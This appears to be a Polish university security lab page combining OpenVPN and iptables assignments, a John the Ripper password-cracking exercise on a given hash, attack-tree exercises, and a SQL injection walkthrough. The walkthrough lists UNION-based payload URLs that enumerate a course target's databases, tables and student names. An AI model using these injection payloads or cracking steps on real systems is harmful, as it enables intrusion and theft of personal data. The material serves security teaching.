vpn-server# openvpn --dev tun --tls--server --ifconfig 10.0.0.1 10.0.0.2 --ca ca.crt --cert vpn-server.crt --key vpn-server.key --dh dh1024.pem
vpn-client# openvpn --dev tun --tls-client --ifconfig 10.0.0.2 10.0.0.1 --ca ca.crt --cert vpn-client.crt --key vpn-client.key --remote [ip-vpn-server]
Załącznik | Wielkość |
---|---|
Bsi_11_lab.pdf | 353.49 KB |
Bsi_12_lab.pdf | 171.69 KB |
W celu wykonania tego zadania należy się dobrać w zespoły dwuosobowe.
Należy skonfigurować sieć VPN między dwoma komputerami z wykorzystaniem mechanizmu współdzielonego klucza. Następnie zaś skonfigurować zaporę na komputerze klienta VPN, tak aby wychodził z niego wyłącznie ruch VPN.
Należy zapisać wszystkie polecenia i opcje konfiguracji w pliku tekstowym, będzie on częścią rozwiązania. Sprawdzający zapewne będzie wymagał także prezentacji rozwiązania.
W celu wykonania tego zadania należy się dobrać w zespoły dwuosobowe.
Należy skonfigurować sieć VPN między dwoma komputerami z wykorzystaniem certyfikatów. Następnie zaś skonfigurować zaporę na komputerze klienta VPN, tak aby wychodził z niego wyłącznie ruch VPN, a na serwerze tak, żeby wszystkie połączenia przez VPN były logowane.
Należy zapisać wszystkie polecenia i opcje konfiguracji w pliku tekstowym, będzie on częścią rozwiązania. Sprawdzający zapewne będzie wymagał także prezentacji rozwiązania.
Zadanie zaliczeniowe wykonaj w parach i używając 2 komputerów. Jeden z komputerów skonfiguruj jako serwer VPN; drugi jako klient VPN. Tunel może wykorzystać te same adresy IP co w ćwiczeniach (10.0.0.1 i 10.0.0.2).
Do wygenerowania certyfikatów wykorzystaj skrypty z /usr/share/doc/openvpn/examples/easy-rsa/2.0
Ustaw właściciela certyfikatu (zmienne w pliku vars) na PL/Mazowieckie/Warszawa/mimuw-bsk-lab
Następnie wygeneruj certyfikaty dla centrum autoryzacji, klienta i serwera przez:
vpn-server# . vars
vpn-server# ./clean-all
vpn-server# ./build-ca
vpn-server# ./build-dh
vpn-server# ./build-key-server vpn-server
vpn-server# ./build-key vpn-client
Przekopiuj odpowiednie certyfikaty z keys/ do katalogów /etc/openvpn na vpn-server i vpn-client. (uwaga: to które pliki gdzie skopiować to już część zadania)
Napisz plik konfiguracyjny dla serwera i klienta; plik umieść w /etc/openvpn.
Skonfiguruj openvpn tak, by korzystało z certyfikatów do wzajemnej autoryzacji klienta i serwera.
Dodatkowo, uwzględnij następujące opcje
Skonfiguruj openvpn tak, by można było go uruchomić na kliencie i na serwerze przez standardowy skrypt startowy ( /etc/init.d/openvpn start )
Skonfiguruj maszyny serwera i klienta tak, aby cały ruch sieciowy klienta przechodził przez łącze VPN.
Zadanie zaliczeniowe wykonaj w parach i używając 2 komputerów. Należy skonfigurować sieć VPN między dwoma komputerami (klient-serwer) z wykorzystaniem certyfikatów oraz ustalić odpowiednie reguły zapory sieciowej. Pliki konfiguracyjne dla klienta i serwera napisz uwzględniając następujące opcje:
Skonfiguruj openvpn tak, by można było go uruchomić na kliencie i na serwerze przez standardowy skrypt startowy (/etc/init.d/openvpn start). Logi openvpn powinny być zapisywane do pliku /var/log/openvpn.log
Zadanie zaliczeniowe wykonaj w parach używając dwóch komputerów. Skonfiguruj sieć VPN między dwoma komputerami (apache i bramka) z wykorzystaniem certyfikatów oraz ustal odpowiednie reguły zapory sieciowej. Pliki konfiguracyjne dla bramki i serwera napisz uwzględniając następujące opcje:
Następnie skonfiguruj routing w następujący sposób:
Skonfiguruj firewall na bramce w następujący sposób:
1. VPN (praca w parach)
Bazując na uzyskanej wiedzy o konfiguracji VPN, skonfiguruj serwer OpenVPN oraz
klienta, tak aby było możliwe połączenie sieciowe przez uzyskany tunel.
Przedstaw zalety oraz wady własnego rozwiązania i skonfigurowanych
parametrów połączenia.
2. Firewall (indywidualnie)
Za pomocą iptables skonfiguruj zaporę chroniącą lokalną stację roboczą/serwer
tak aby:
Zezwalać na dowolne połączenia wychodzące.
Zezwalać na połączenia przychodzące tylko pod warunkiem, że sami je inicjujemy.
Zezwalać na przychodzące połączenia inicjujące tylko na porty 443, 80 i 22
(na serwerze utrzymujemy serwery ssh oraz http, więc klienci muszą mieć dostęp).
Wpuszczać żądania echa ICMP.
Ograniczyć liczbę połączeń inicjujących przychodzących do portu 22 do 3 na minutę
z jednego źródłowego adresu IP.
Zadbać o interfejs loopback.
Przygotować regułę/reguły firewalla umożliwiające uruchomienie podstawowego serwera DNS.
Blokować wszystkie inne połączenia przychodzące.
Należy sprawdzić szczelność firewalla przedstawiając proponowane metody
testowania i ich wyniki.
1. VPN (praca w parach)
Bazując na uzyskanej wiedzy o konfiguracji VPN, skonfiguruj serwer OpenVPN oraz
klienta, tak aby było możliwe połączenie sieciowe przez uzyskany bezpieczny tunel.
Przedstaw zalety oraz wady własnego rozwiązania i skonfigurowanych
parametrów połączenia.
2. Firewall (indywidualnie)
Za pomocą iptables skonfiguruj zaporę chroniącą lokalną stację roboczą/serwer
tak aby:
Zezwalać na dowolne połączenia wychodzące.
Zezwalać na połączenia przychodzące tylko pod warunkiem, że sami je inicjujemy.
Zezwalać na przychodzące połączenia inicjujące tylko na porty 80, 9000-9010.
(Dla celów testowania na serwerze powinny być uruchomione serwery ssh oraz http).
Wpuszczać żądania echa ICMP.
Zezwalać na połączenia inicjujące ssh tylko z podsieci BSK lab.
Ograniczyć liczbę połączeń inicjujących przychodzących do portu 22 do 10 na minutę
z jednego źródłowego adresu IP.
Zadbać o interfejs loopback.
Przygotować regułę/reguły firewalla umożliwiające uruchomienie podstawowego serwera DNS.
Blokować wszystkie inne połączenia przychodzące.
Sprawdź szczelność firewalla za pomocą nmapa przedstawiając proponowane metody
testowania. Porównaj wyniki testów dla portu 22 i 9000.
Zadanie
1. Napisać skrypt tworzący indywidualne certyfikaty dla użytkowników serwera OpenVPN. Dane wejściowe: imię i nazwisko użytkownika oraz jego adres email (imienia i nazwiska należy użyć jako CN w generowanym certyfikacie). Wcześniej trzeba oczywiście zadbać o utworzenie CA na potrzeby VPN.
2. Napisać skrypt tworzący listę odwołanych certyfikatów dla użytkowników, którzy mają utracić dostęp. Uwzględnić listę CRL w konfiguracji serwera VPN.
3. Skonfigurować serwer OpenVPN oparty o transport tcp i ww. certyfikaty wraz z uwzględnieniem CRL.
4. Skonfigurować klienta OpenVPN tak, aby użytkownik mógł się połączyć z serwerem za pomocą swojego certyfikatu.
5. Na serwerze skonfigurować firewalla tak, aby można było wykonywać połączenia przychodzące jedynie do portu OpenVPN tcp tylko z podsieci 192.168.0.0/16.
Zadanie zaliczeniowe można wykonać w parach, ponieważ używamy dwóch komputerów: serwera i bramki.
Na komputerze serwera:
1. Uruchom serwer www nasłuchujący na standardowym porcie (80).
2. Ustaw reguły w jego zaporze tak, żeby wpuszczały tylko ruch przychodzący
z bramki.
Skonfiguruj sieć VPN między dwoma komputerami serwer i bramka z wykorzystaniem
certyfikatów. Openvpn można uruchomić na obu komputerach przez standardowy
skrypt startowy (/etc/init.d/openvpn start).
Logi openvpn powinny być zapisywane do pliku /var/log/openvpn.log,
komunikacja odbywać ma się za pośrednictwem protokołu TCP.
Tunel VPN powinien używać adresów 10.x.0.1 i 10.x.0.2 gdzie x czwartą
częścią adresu IP serwera (np. 192.12.14.15 będzie x=15).
Tylko komputery bramka i serwer (możesz je nazwać) mogą korzystać z tunelu.
Następnie skonfiguruj routing w następujący sposób:
Uwaga: osoby robiące to zadanie na komputerach w laboratorium mogą je robić w parach na dwóch ,,sąsiednich'' komputerach.
Księgarnia Radagast posiada serwer www nasłuchujący na standardowym porcie (80). W ostatnim okresie odnotowano jednak próby ataków na tę maszynę, także z użyciem innych portów.
Ponadto obaj menedżerowie od czasu do czasu łączą się z siecią księgarni ze swoich komputerów domowych. Również w tym przypadku odnotowano próby podszywania się.
Postanowiono, że komunikacja ze światem zewnętrznym będzie odbywała się przez zaporę (firewall).
Serwer WWW będzie nasłuchiwał na porcie 8080. Zapora każdy pakiet skierowany na swój port 80 przekieruje do serwera WWW. Serwer WWW będzie znajdował się w ,,strefie zdemilitaryzowanej'' -- osobnej podsieci połaczonej z resztą sieci wewnętrznej firmy przez zaporę.
Dla komputerów menedżerów postanowiono użyć OpenVPN.
Twoim zadaniem jest realizacja tych zamierzeń. Dla projektu pilotowego będziesz potrzebował:
Serwer WWW i maszyna robocza mają mieć adresy w sieci wewnętrznej 192.12.14.0/24. Zapora powinna posiadać dwa interfejsy, jeden do sieci wewnętrznej, drugi ,,publiczny'' (w naszym przypadku adresy publiczne będą w sieci 172.16.0.0/16). Nie robimy osobnej podsieci dla strefy zdemilitaryzowanej, bo wymagałoby to trzeciego interfejsu zapory (lub rutera/przełącznika).
Przekieruj wszystkie odwołania do portu 80 zapory do portu 8080 serwera WWW. Nie zapomnij włączyć IP forwarding. Nie należy zezwalać na łączenie się serwera WWW z innymi komputerami sieci wewnętrznej i odwrotnie (przejście będzie otwierane tylko okresowo w razie potrzeby, ale tym się nie zajmujemy).
Skonfiguruj sieć VPN między komputerami zapory i menadżera z wykorzystaniem certyfikatów. Openvpn można uruchomić na obu komputerach przez standardowy skrypt startowy (/etc/init.d/openvpn start).
Ruch sieciowy między komputerem menadżera i zaporą ma się odbywać się wyłącznie po VPN.
Logi openvpn powinny być zapisywane do pliku /var/log/openvpn.log, komunikacja odbywać ma się za pośrednictwem protokołu TCP. Zapisuj do logu informacje o odrzuconych pakietach.
Jak zwykle należy zapisać wszystkie polecenia i opcje konfiguracji w pliku tekstowym wysłanym do Moodle, będzie on częścią rozwiązania. Oczywiście sprawdzający będzie wymagał prezentacji rozwiązania w laboratorium.
Green Forest Bank posiada serwer WWW nasłuchujący na standardowym
porcie (80). W ostatnim okresie odnotowano jednak próby ataków na tę
maszynę, także z użyciem innych portów.
Ponadto dyrektorzy od czasu do czasu łączą się z siecią banku ze
swoich komputerów domowych. Również w tym przypadku odnotowano próby
podszywania się.
Postanowiono, że komunikacja ze światem zewnętrznym będzie odbywała się
przez zaporę (firewall).
Serwer WWW będzie nasłuchiwał na porcie 8000. Zapora każdy pakiet
skierowany na swój port 80 przekieruje do serwera WWW. Serwer WWW
będzie znajdował się w ,,strefie zdemilitaryzowanej'' -- osobnej
podsieci połaczonej z resztą sieci wewnętrznej firmy poprzez zaporę.
Dla komputerów dyrektorów postanowiono użyć OpenVPN.
Twoim zadaniem jest realizacja tych zamierzeń. Dla projektu pilotowego
będziesz potrzebował:
Serwer WWW i maszyna robocza mają mieć adresy w sieci wewnętrznej
172.16.12.0/23. Zapora powinna posiadać dwa interfejsy, jeden do sieci
wewnętrznej, drugi ,,publiczny'' (w naszym przypadku adresy publiczne
będą w sieci 10.32.0.0/16). Nie robimy osobnej podsieci dla strefy
zdemilitaryzowanej, bo wymagałoby to trzeciego interfejsu zapory (lub
rutera/przełącznika).
Przekieruj wszystkie odwołania do portu 80 zapory do portu 8000 serwera
WWW. Nie zapomnij włączyć IP forwarding. Nie należy zezwalać na
łączenie się serwera WWW z innymi komputerami sieci wewnętrznej
i odwrotnie (przejście będzie otwierane tylko okresowo w razie
potrzeby, ale tym się nie zajmujemy).
Skonfiguruj sieć VPN między komputerami zapory i menadżera z wykorzystaniem
certyfikatów. OpenVPN można uruchomić na obu komputerach przez standardowy
skrypt startowy (/etc/init.d/openvpn start).
Ruch sieciowy między komupterem menadżera i zaporą ma się odbywać się
wyłącznie po VPN.
Logi OpenVPN powinny być zapisywane do pliku /var/log/vpn.log,
komunikacja odbywać ma się za pośrednictwem protokołu TCP.
Zapisuj do logu informacje o odrzuconych pakietach.
Należy zapisać wszystkie polecenia i opcje konfiguracji w pliku tekstowym
wysłanym do Moodle, będzie on częścią rozwiązania. Oczywiście sprawdzający
będzie wymagał prezentacji rozwiązania w laboratorium.
Aby zidentyfikować użytkownika potrzebujemy sprawdzić, czy jego hasło jest zgodne z oczekiwanym. Najprostszą metodą jest zapisanie hasła w pliku dostępnym tylko dla uprawnionych programów. Jednak wtedy nawet chwilowe uzyskanie przez atakującego dostępu do tego pliku powoduje, że może on zapisać sobie hasła do późniejszego wykorzystania. Aby obronić się przed tym niebezpieczeństwem zwykle przechowujemy nie samo hasło, a jego skrót otrzymany za pomocą kryptograficznej funkcji skrótu, czyli takiej funkcji haszującej, dla której m.in. jest trudno zgadnąć wartość wejściową znając tylko wartość wyjściową. Gdy użytkownik przedstawia swoje hasło obliczamy dla niego wartość tej samej funkcji skrótu i porównujemy wyniki aby sprawdzić, czy hasło jest poprawne.
Istnieją (stosunkowo rzadkie) przypadki, kiedy nie da się zastosować opisanej wyżej metody. Na przykład mechanizm uwierzytelniania Digest w protokole HTTP wymaga znajomości całego hasła do sprawdzenia, czy przedstawione dane logowania są poprawne -- zyskiem jest brak konieczności przedstawiania przez użytkownika całego hasła.
Samo zastosowanie funkcji skrótu nie wystarcza niestety do zapewnienia bezpieczeństwa: możemy raz obliczyć wartości funkcji dla haseł (np. dla rozsądnej długości) i potem wszędzie gdzie stosowana jest ta sama funkcja skrótu wystarczy znaleźć wynikach hasło odpowiadającemu danej wartości funkcji skrótu. Aby efektywnie wykorzystać tę technikę stosujemy specjalną strukturę danych -- tęczowe tablice. Aby się przed takim atakiem obronić stosujemy solenie, czyli dopisujemy do każdego hasła losową wartość (sól), którą zapisujemy otwartym tekstem razem z hasłem.Atakujący, aby dostosować swój atak, musiałby obliczyć skróty wszystkich haseł dla wszystkich możliwych wartości soli, co czyni ten atak niepraktycznym.
Najprostszą metodą znalezienia hasła jest atak brute-force. Praktycznie wszystkie powszechnie używane funkcje skrótu można efektywnie obliczać na kartach graficznych, na przykład na karcie Nvidia GTX 1080 można obliczać około 2800 milionów skrótów SHA256 na sekundę.
W praktyce rzadko zdarza się, aby użytkownicy wybierali naprawdę losowe hasła, zazwyczaj są to wariacje na temat słów ze znanych użytkownikowi języków, imion, dat itp. Korzystając z tej wiedzy możemy istotnie zmniejszyć przestrzeń przeszukiwanych potencjalnych haseł, a co za tym idzie czas potrzebny do znalezienia hasła pod warunkiem, że dysponujemy
Jednym z popularnych darmowych programów do łamania skrótów jest John The Ripper.
apt-get install -y john
Do złamania hasła potrzebujemy listy słów z języka używanego przez użytkowników. Jedną z takich list, udostępnioną do łatwej instalacji w Debiana, znajdziemy w pakiecie wpolish
.
Dodatkowo słowa z listy mogą być modyfikowane przez reguły opisujące popularne modyfikacje, takie jak dopisanie jedynki na końcu czy zamiana pierwszej litery na wielką. Więcej o regułach można przeczytać na odpowieniej stronie wiki.
Przykładowe sposoby uruchomienia JTR są przystęnie opisane tutaj.
Korzystając z programu aspell wygeneruj listę wszystkich słów w języku polskim
Użytkownik ma hasło o skrócie $6$in0qP2A9H12Z$4cgtWknDOBfJo1m.H9hrHiy7cmkFaHlX1uj.S9AKMXoqchyexcZY2B.ncbua2LdZOHBndDAtRaGog/ktYdW7j/
. Wiemy, że hasło jest słowem występującym w przykładowej pracy dyplomowej z literą wstawioną w jakimś miejscu słowa. Przygotuj listę słów dla programu JTR i znajdź za jego pomocą hasło użytkownika.
Atak SQL injection wykorzystuje możliwość modyfikacji zapytania SQL przez odpowienie spreparowanie danych wejściowych. Na atak tego typu podatne są aplikacje przyjmujące dane od użytkownika i generujące na tej podstawie zapytania SQL (np. aplikacje webowe).
Spójrzmy na poniższy URL:
http://hackme.mimuw.edu.pl/test.php?id=100
W pierwszej fazie ataku należy wyobrazić sobie jakie zapytanie SQL może być generowane po stronie aplikacji. W tym przypadku może to być np. takie:
SELECT * from jakas_tabela where id=100
W praktyce zapytanie po stronie aplikacji może oczywiście wyglądać inaczej, np.:
SELECT * from tabela where id="100" SELECT * from tabela where id=(100) SELECT * from tabela where id=("100") itp.
co dla naszego ataku może nie być bez znaczenia. Podstawiając zamiast wartości 100 dane testowe należy próbować określić z którym z zapytań mamy do czynienia.
Można testować np. tak:
http://hackme.mimuw.edu.pl/test.php?id=100"
i obserwując zachowanie aplikacji wyciągnąć wnioski.
Wydaje się, że w naszym przykładzie zapytanie faktycznie może wyglądać tak:
SELECT * from jakas_tabela where id=100
więc powinno zadziałać np.:
http://hackme.mimuw.edu.pl/test.php?id=100 order by 4
I faktycznie ww. URL powoduje zwrócenie wyniku, natomiast
http://hackme.mimuw.edu.pl/test.php?id=100 order by 5
już nie, więc możemy wyciągnąć wniosek, że tabela której dotyczy zapytanie ma 4 kolumny.
Gdyby zapytanie tworzone przez aplikację miało np. postać:
SELECT * from tabela where id="100"
to powyższe zapytania trzeba by nieco zmodyfikować.
Warto ustalić, które dane są pokazywane na stronie w wyniku wykonania powyższego zapytania, tak, aby wykorzystać to do wyświetlenia interesujących nas informacji. Ponieważ tabela ma 4 kolumny, powinno zadziałać następujące zapytanie:
http://hackme.mimuw.edu.pl/test.php?id=100 union select 1,2,3,4--+
Z wyświetlonych wyników widzimy, że aplikacja wyświetla dane z pierwszej kolumny.
Pamiętajmy o przydatnych zmiennych i funkcjach (tu na przykładzie MySQL/MariaDB):
@@hostname, @@tmpdir, @@datadir, @@version, @@basedir,
user(), database(), version(), schema(), UUID(), current_user(), system_user(), session_user().
Nazwa bazy i inne przydatne dane:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select database(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select version(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select user(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select @@tmpdir,2,3,4--+
Ustalenie typu silnika bazodanowego, a nawet jego konkretnej wersji jest bardzo istotne, poniższe zapytania wykorzystują fakt, że udało się to zrobić.
Nazwy tabel:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select table_name,2,3,4 from information_schema.tables where table_schema=database()
Nazwy kolumn tabeli:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select column_name,2,3,4 from information_schema.columns where table_schema=database()and table_name='stud'
I w końcu pobieramy dane z tabeli, np. imiona i nazwiska:
http://hackme.mimuw.edu.pl/test.php?id=-100 union Select concat(lname,fname),2,3,4 from stud--+
Na końcu wstrzykiwanego SQLa może być potrzebne doklejenie znacznika komentarza, w tym przypadku --, tak,
aby wykomentować pozostałą część zapytania, po -- powinna znaleźć się spacja, więc może
zadziałać -- -, --+ itp.
Poza opisaną istnieją inne techniki ataków SQLi m.in. tzw. blind SQL injection. Technika ta jest przydatna, gdy np. podczas manipulowania URLem nie zauważamy żadnych informacji od aplikacji, komunikatów o błędach itp.
Więcej na ten temat można znaleźć tu:
http://securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection....
Do wykonania na zajęciach.
Przeprowadź opisany wyżej atak na aplikację utworzoną w PHP:
http://hackme.mimuw.edu.pl/test.php?id=100.
Uwaga!
Aplikacja i baza danych mogły zostać zmienione w porównaniu do wyżej opisanych.
Pobierz wszystkie dane ze wszystkich baz do których uda Ci się uzyskać dostęp na ww. atakowanej maszynie. Podaj nazwy baz, tabel i kolumn. Jak zabezpieczyć aplikację przed atakami tego typu?
Zabezpieczanie systemów (nie tylko) komputerowych jest bardzo skomplikowane już choćby przez to, że dotyczy przedmiotu o bardzo wielu własnościach i cechach. W zasadzie - jeśli nie niemożliwe - to w każdym razie jest to zadanie, którego wykonanie nie jest osiągalne przy dostępnych typowo zasobach. Jednak zawsze można być bliżej lub dalej od ideału, stąd ważne są techniki, które przybliżają nas do jego osiągnięcia.
Typowo, gdy zadanie jest zbyt skomplikowane, aby je rozwiązać bezpośrednio, stosuje się jakiś rodzaj formy, która pomaga w zarządzaniu jego złożonością. Wtedy jeśli nie jest możliwe ogarnięcie całości problemu, to dysponujemy dokumentacją tego, którą część problemu mamy opanowaną i obsłużoną. W bezpieczeństwie systemów przyjętym sposobem na zarządzanie zagrożeniami są drzewa ataków (zwane też drzewami zagrożeń). Łatwo skojarzyć, że stanowią one praktyczne zastosowanie zasady "dziel i rządź" (z.t.j. "dziel i zwyciężaj").
Konstruowanie dobrych drzew ataków jest działaniem wielowątkowym i wymaga wielokrotnego przejrzenia do tej pory opracowanego drzewa. Każde jednak przejście, aby miało walor podejścia systematycznego, wymaga jasno określonego celu. Taki cel też jest potrzebny na pierwszym etapie, kiedy tworzymy pierwotną wersję systemu. Typowo pierwszym celem jest określenie najsłabszego ogniwa w naszym systemie zabezpieczeń - jeśli nasz system jest używany przez dużą liczbę osób, to prędzej czy później masa tej populacji wykryje to słabe ogniwo. Dlatego często możemy się spotkać z pewnym upraszczającym sloganem: System jest tak bezpieczny jak najsłabsze ogniwo jego zabezpieczeń. Wzmacniając najsłabsze ogniwo w najbardziej racjonalny sposób wzmacniamy bezpieczeństwo całego rozwiązania. W pierwszym podejściu będziemy zatem poszukiwali najsłabszego ogniwa.
Spróbujmy skonstruować drzewo ataku dla nieuprawnionego dostania się do samochodu. Pierwszy krok, jaki należy wykonać, to stworzyć sobie ogólny model zagrożenia. Musimy tutaj odpowiedzieć sobie na następujące pytania:
Warto zwrócić uwagę na rozróżnienie między niebezpieczeństwami pojmowanymi tutaj jako obiektywne zagrożenia dla bezpieczeństwa wyróżnionych wartości, które są niezależne od woli i nastawienia ludzi na wyrządzenie szkody chronionym wartościom, od ataków, które zakładają ludzką wolę i pewną umyślność w niszczeniu chronionych wartości. Ta druga kategoria przy bezpośrednim rozumieniu określenia "niebezpieczeństwa" może być postrzegana jako szczególny przypadek kategorii 2.a, ale podkreślmy to jeszcze raz: dla nas 2.a oznacza brak umyślnego działania, zaś 2.b oznacza jego obecność.
Jak zatem będą te punkty wyglądały dla nieuprawnionego dostania się do samochodu?
Chronione wartości:
Zagrożenia:
We wszystkich tych kategoriach atakujących możemy założyć, że wykonali oni lub nie wykonali pracy operacyjnej, polegającej na obserwacji właściciela pojazdu przez pewien czas. Możemy też założyć, że atakujący mają odpowiednie doświadczenie we wdzieraniu się do samochodów albo też go nie mają. Kolejna własność, jaka może się tutaj pojawiać, to czas dostępny na dostanie się do środka - w każdej z tych kategorii włamywacz może mieć dużo czasu na samą czynność lub też mieć tego czasu niewiele i operować pod presją.
Zauważmy, że własności podane pod punktami powyżej mogą zostać zaaplikowane do każdego z punktów 2.a, 2.b, 2.c, tworząc szeroką paletę modeli atakującego.
Następny krok to konstrukcja samego drzewa. Warto zauważyć, że namysł nad chronionymi wartościami pozwala nam zauważyć, iż w istocie należałoby skonstruować kilka drzew ataków (być może dosyć podobnych do siebie), aby uzyskać klarowniejszą analizę zagrożeń i lepsze rozeznanie w tym, jakie środki służą zabezpieczaniu których wartości. Tutaj, z braku zasobów, skupimy się na analizie zagregowanej wartości związanej z samochodem.
Korzeniem drzewa ataku, które chcemy przedstawić, będzie zatem cel polegający na zdegradowaniu wartości samochodu dla właściciela. Zdegradowanie wartości samochodu może się odbyć na kilka sposobów:
W tym momencie każdy z tak wyodrębnionych sposobów degradowania wartości staje się częściową przyczyną i trafia do wierzchołka drzewa będącego dzieckiem korzenia. Z kolei dzieci każdego z tych nowych wierzchołków będą opisywały sposoby osiągnięcia odpowiedniego celu częściowego. Możemy teraz zapisać większy fragment takiego drzewa.
. (OR) Zdegradowanie wartości udostępnianych przez samochód 1. (OR) upadek konaru drzewa na samochód 1.1. (OR) ustawienie samochodu pod drzewem, z którego opadnie konar 1.1.1. (OR) opadnięcie w wyniku wichury 1.1.2. (OR) opadnięcie konaru osłabionego w wyniku choroby 2. (OR) otarcie się o samochód innego samochodu na parkingu 3. (OR) zarysowanie karoserii ostrym przedmiotem, 3.1. (OR) zarysowanie przez osobę przypadkowo przechodzącą z ostrym przedmiotem obok 3.2. (OR) zarysowanie celowo przez jakąś osobę 4. (OR) zdegradowanie wartości przez dostanie się do wnętrza przez wrogą osobę 4.2. (OR) dostanie się do wnętrza przez wybicie szyby 4.3. (OR) dostanie się do wnętrza przez sforsowanie zamka 4.3.1. (OR) sforsowanie zamka za pomocą wytrychu 4.3.2. (OR) sforsowanie zamka za pomocą podrobionego kluczyka 4.3.3. (OR) sforsowanie zamka za pomocą oryginalnego kluczyka 4.3.3.1. (OR) zdobycie kluczyka za pomocą szantażu 4.3.3.2. (OR) zdobycie kluczyka za pomocą przekupstwa 4.3.3.3. (AND) zdobycie kluczyka przez kradzież 4.3.3.3.1. (OR) znalezienie się w pobliżu właściciela 4.3.3.3.2. (OR) zaobserwowanie, gdzie trzyma kluczyk 4.3.3.3.3. (OR) podebranie kluczyka z zaobserwowanego miejsca
Proszę zwrócić uwagę na to, że niektóre wierzchołki są oznaczone w powyższym drzewie znacznikiem (OR), a inne znacznikiem (AND). Oznaczenie to wskazuje, jak należy traktować dzieci podczas analizy. Gdy wierzchołek jest oznaczony jako (OR), wystarczy wypełnienie przyczyny u jednego dziecka, aby uznać, że przyczyna z analizowanego wierzchołka się wypełniła i zagraża analizowanej wartości. Z kolei dla wierzchołka oznaczonego (AND) uznamy go za wypełnionego, gdy wszystkie jego wierzchołki potomne zostaną wypełnione. W naszym przykładowym drzewie wierzchołek (AND) jest przypisany do przyczyny "zdobycie kluczyka przez kradzież". Jak widzimy z drzewa kradzież zostanie dokonana, gdy złodziej znajdzie się w pobliżu właściciela, zaobserwuje, gdzie ten trzyma kluczyk i podbierze go z zaobserwowanego miejsca.
Po sporządzeniu drzewa ataku można się zacząć zastanawiać nad różnymi aspektami ataku. Można zacząć od wprowadzenia adnotacji, czy dane zagrożenie uważamy za możliwe lub niemożliwe. W tym celu oznaczamy według naszego wyczucia liście drzewa literami "m" (jak możliwe) i "n" (jak niemożliwe), a następnie propagujemy tę informację w kierunku korzenia, uznając, iż wierzchołek typu (OR) jest "m" jeśli któreś z jego dzieci jest "m", zaś wierzchołek (AND) jest "m", jeśli wszystkie jego dzieci są "m".
Inne możliwe sposoby wykonania adnotacji w takim drzewie mogą polegać na rozeznaniu, czy
Drzewa ataków zostały spopularyzowane przez Bruce Schneiera. Ich formalizm jest podobny i zapewne korzeniami tkwi w pojęciu "drzew usterek" (ang. fault trees). Główna różnica polega tutaj na dodaniu do analizy obejmującej usterki nie wynikające ze złej ludzkiej woli możliwych umyślnych wrogich działań.
Należy pamiętać, że takie drzewa z czasem ulegają zmianie. Również przeniesienie naszej wartości w inny kontekst (np. do Japonii, gdzie występują trzęsienia ziemi) może wprowadzić nowe wierzchołki do drzewa.
Materiały uzupełniające:
Kilka narzędzi korzystających z tego podejścia:
Ćwiczenia na zajęciach:
1. Przeczytaj uważnie specyfikację protokołu TFTP.
http://tools.ietf.org/html/rfc1350
2. Zapoznaj się z artykułami na temat startowania
systemu operacyjnego za pomocą protokołu TFTP.
a) https://www.debian.org/releases/wheezy/amd64/ch04s05.html.en
b) http://www.tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/bootnetwork.html
c) http://www.thegeekstuff.com/2010/07/tftpboot-server/
3. Opracuj drzewo ataku przeciwko startowaniu systemu operacyjnego za
pomocą protokołu TFTP. Zapisz je w postaci wypunktowanej listy.
1. Przeczytaj uważnie specyfikację protokołu POP3 w wersji podstawowej:
https://tools.ietf.org/html/rfc1939
2. Obsługa laboratorium komputerowego pewnego wydziału w jednym z
uniwersytetów postanowiła skorzystać z podstawowej wersji
protokołu POP3 do zapewniania dostarczania poczty na komputery
studentów. Jednocześnie nie zastosowali żadnych rozwiązań
kryptograficznych zabezpieczających korzystanie z tej usługi
(nie użyli ani SSL, ani SSH, ani innego podobnego rozwiązania),
można tutaj na przykład wyobrazić sobie, że z jakiegoś powodu postanowili
napisać serwer POP3 na własną rękę i zaimplementowali wyłącznie
to, co zostało zapisane w RFC 1939. Jednocześnie dla zapewnienia
wygody studentów administratorzy zdecydowali, że do uwierzytelnienia
będą stosowane te same hasła, jak do wszystkich innych usług wymagających
uwierzytelniania w tej jednostce (mają oni jakiś system podobny do
naszego centralnego systemu uwierzytelniania).
3. Opracuj drzewo ataku przeciwko takiemu rozwiązaniu. Opisz chronione
wartości oraz przyjmij model odpowiednio silnego atakującego, aby
wyłapać jak najwięcej zagrożeń. Zapisz drzewo w postaci wypunktowanej
listy. Jeśli uznasz za stosowne, możesz zapisać rozwiązanie w postaci
kilku drzew lub drzewa o kilku korzeniach.
Uwagi dotyczące rozwiązania:
1. To zadanie jest z rozmysłem źle postawione. To złe postawienie ma na celu
wybadanie w Was wrażliwości na sprawy bezpieczeństwa.
2. Dodatkowo problemy związane z analizą bepieczeństwa w prawdziwym życiu są
zawsze źle postawione.
3. W zadaniu chcemy, żeby Państwo przeprowadzili raczej analizę sytemu niż
konkretnego protokołu. Sam protokół jednak powinien przewinąć się w Waszej
analizie.
4. W zadaniu nie ma mowy o protokołach kryptograficznych, żeby mocniej zwrócić
Państwa uwagę na fakt, że bezpieczeństwo to nie tylko kryptografia.
5. Bardzo ważną rzeczą w tego typu analizie jest jej systematyczność.
6. Można sobie obejrzeć przykładowe rozwiązanie z zeszłego roku, żeby lepiej
zrozumieć, jak mają wyglądać rozwiązania. W szczególności należy zwrócić
uwagę, że rozwiązania istotnie krótsze będą uważane za istotnie gorsze.
1. Przeczytaj uważnie specyfikację protokołu NAME/FINGER:
https://tools.ietf.org/html/rfc742
2. Obsługa laboratorium komputerowego pewnego wydziału w jednym z
uniwersytetów lubiła korzystać z programu Elinks. Program ten m.in.
umożliwia zdobywanie informacji na temat użytkowników komputerów za
pomocą usługi FINGER. W związku z daleko idącą wygodą korzystania z
tego narzędzia administratorzy postanowili udostępnić szeroko usługę
FINGER, aby można było z niej korzystać także poza siecią wewnętrzną
uniwersytetu.
3. Opracuj drzewo ataku przeciwko takiemu rozwiązaniu. Opisz chronione
wartości oraz przyjmij model odpowiednio silnego atakującego, aby
wyłapać jak najwięcej zagrożeń. Zapisz drzewo w postaci wypunktowanej
listy. Jeśli uznasz za stosowne, możesz zapisać rozwiązanie w postaci
kilku drzew lub drzewa o kilku korzeniach.
Uwagi dotyczące rozwiązania:
